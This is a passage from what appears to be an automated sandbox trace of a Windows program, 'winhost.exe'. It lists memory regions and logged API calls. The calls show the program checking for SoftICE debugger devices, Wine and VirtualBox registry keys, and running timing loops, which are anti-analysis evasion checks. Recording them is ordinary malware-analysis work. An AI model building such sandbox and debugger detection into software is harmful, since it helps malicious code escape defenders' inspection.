0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 319 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 320 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 321 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 322 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 323 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 324 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 325 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 326 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 327 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 328 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 329 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 330 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 331 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 332 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 333 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 334 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 335 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 336 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 337 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 338 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 339 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 340 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 341 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 342 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 343 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 344 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 345 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 346 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 347 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 348 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 349 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 350 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 351 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 352 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 353 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 354 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 355 start_va = 0x2a50000 end_va = 0x2a85fff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 356 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 357 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 358 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 359 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 360 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 361 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 362 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 363 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 364 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 365 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 366 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 367 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 368 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 369 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 370 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 371 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 372 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 373 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 374 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 375 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 376 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 377 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 378 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 379 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 380 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 381 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 382 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 383 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 384 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 385 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 386 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 387 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 388 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 389 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 390 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 391 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 392 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 393 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 394 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 395 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 396 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 397 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 398 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 399 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 400 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 401 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 402 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 403 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 404 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 405 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 406 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 407 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 408 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 409 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 410 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 411 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 412 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 413 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 414 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 415 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 416 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 417 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 418 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 419 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 420 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 421 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 422 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 423 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 424 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 425 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 426 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 427 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 428 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 429 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 430 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 431 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 432 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 433 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 434 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 435 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 436 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 437 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 438 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 439 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 440 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 441 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 442 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 443 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 444 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 445 start_va = 0x2810000 end_va = 0x2810fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 446 start_va = 0x2810000 end_va = 0x2827fff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 447 start_va = 0x2a90000 end_va = 0x2a90fff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 464 start_va = 0x2aa0000 end_va = 0x2ab8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002aa0000" filename = "" Region: id = 467 start_va = 0x2ac0000 end_va = 0x2ac0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ac0000" filename = "" Thread: id = 1 os_tid = 0x964 [0020.382] VirtualAlloc (lpAddress=0x0, dwSize=0xd9c, flAllocationType=0x1000, flProtect=0x4) returned 0x20000 [0020.383] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0020.384] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x771d0000 [0022.553] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76f90000 [0022.553] LoadLibraryA (lpLibFileName="NTDLL.dll") returned 0x77a40000 [0022.553] GetLocalTime (in: lpSystemTime=0x61182b | out: lpSystemTime=0x61182b*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0x16, wMinute=0x34, wSecond=0x37, wMilliseconds=0x1e)) [0022.557] CreateFileA (lpFileName="\\\\.\\SICE" (normalized: "sice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0022.560] CreateFileA (lpFileName="\\\\.\\SIWVID" (normalized: "siwvid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0022.564] CreateFileA (lpFileName="\\\\.\\NTICE" (normalized: "ntice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0022.565] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " [0022.568] GetVersionExA (in: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0022.568] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Wine", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0022.568] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0022.569] GetProcAddress (hModule=0x773b0000, lpProcName="GetNativeSystemInfo") returned 0x773d10b5 [0022.569] GetNativeSystemInfo (in: lpSystemInfo=0x61f9b0 | out: lpSystemInfo=0x61f9b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0022.569] GetVersion () returned 0x1db10106 [0022.570] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x752e0000 [0022.726] GetProcAddress (hModule=0x752e0000, lpProcName="timeGetTime") returned 0x752e26e0 [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.726] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.727] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.728] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15caf [0022.729] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] 